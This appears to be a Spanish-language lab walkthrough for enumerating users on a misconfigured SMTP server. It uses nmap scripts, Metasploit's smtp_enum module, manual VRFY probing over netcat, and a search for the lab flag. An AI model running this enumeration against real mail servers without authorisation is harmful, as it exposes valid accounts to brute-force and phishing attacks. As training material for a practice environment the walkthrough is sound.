Vulnerable SMTP Server

Enumeración y explotación de un servidor SMTP mal configurado

¿Qué es SMTP y por qué expone información?

SMTP (Simple Mail Transfer Protocol) opera en el puerto 25. Los comandos VRFY y EXPN en servidores mal configurados revelan usuarios del sistema.

1. Identificación del objetivo

cat /root/Desktop/target

2. Escaneo de puertos

nmap -sS -sV -p 25 <IP>

Confirma que el puerto 25/TCP está abierto y muestra versión del servidor (Postfix, Sendmail, Exim…) y banner de bienvenida.

3. Enumeración de comandos SMTP

nmap --script smtp-commands -p 25 <IP>

Lista todos los comandos soportados. Si aparecen VRFY o EXPN, la enumeración de usuarios es posible.

nmap --script smtp-enum-users -p 25 --script-args smtp-enum-users.methods=VRFY <IP>

Automatiza la verificación de usuarios con VRFY.

4. Enumeración con Metasploit

msfconsole -q
use auxiliary/scanner/smtp/smtp_version
set RHOSTS <IP>
exploit

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS <IP>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
exploit

smtp_enum prueba usuarios con VRFY, EXPN y RCPT TO automáticamente.

5. Validación manual con Netcat

nc <IP> 25
HELO test
VRFY root
VRFY administrator
QUIT

Respuesta 252 o 250 = usuario válido; 550 = no existe.

6. Obtención de la flag

find / -name flag* 2>/dev/null
cat /ruta/de/la/flag

Flujo del ataque

Conceptos clave